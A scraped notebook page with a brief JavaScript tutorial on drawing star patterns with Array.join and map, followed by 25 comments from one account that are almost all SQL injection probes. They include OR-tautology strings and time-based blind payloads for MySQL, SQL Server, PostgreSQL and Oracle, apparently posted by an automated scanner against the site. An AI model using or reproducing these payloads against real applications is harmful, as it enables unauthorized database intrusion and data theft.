Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

Stars

node v0.12.18
version: 2.0.0
endpointsharetweet
We can use Array.join to quickly get us strings of a repeated character:
new Array(4).join("*")
Now, if we have a star count, we can create a single line easily (this example is with 4 stars):
var lineLength = 10; var starCount = 5; new Array(starCount + 1).join("*") + new Array(lineLength - starCount + 1).join("-")
Now, if we have an array of numbers of stars, we can map over it to create the final version:
[1,2,3,4,5,6,7,8,9,10].map(starCount => new Array(starCount + 1).join("*") + new Array(lineLength - starCount + 1).join("-"))
So with this, we can now make any pattern we want, just with an array of star counts. So let's make this our function:
function drawStars(starCounts) { return starCounts.map(starCount => new Array(starCount + 1).join("*") + new Array(lineLength - starCount + 1).join("-")).join("\n"); }
Here is the first one:
drawStars([1,2,3,4,5,6,7,8,9,10]);
And the second:
drawStars([1,2,3,4,5,5,4,3,2,1]);
Loading…

25 comments

  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+596-596-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+628-628-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+572-572-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+291-291-1=0+0+0+1 or 'tRUqgFio'='
  • posted a month ago by xsjybldb
    -1" OR 2+530-530-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    BcRCHAH0'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 798=(SELECT 798 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 81=(SELECT 81 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 927=(SELECT 927 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    2b45xixD' OR 228=(SELECT 228 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    w4IEcQmF') OR 133=(SELECT 133 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    gslRwOZK')) OR 496=(SELECT 496 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@PXtZf

sign in to comment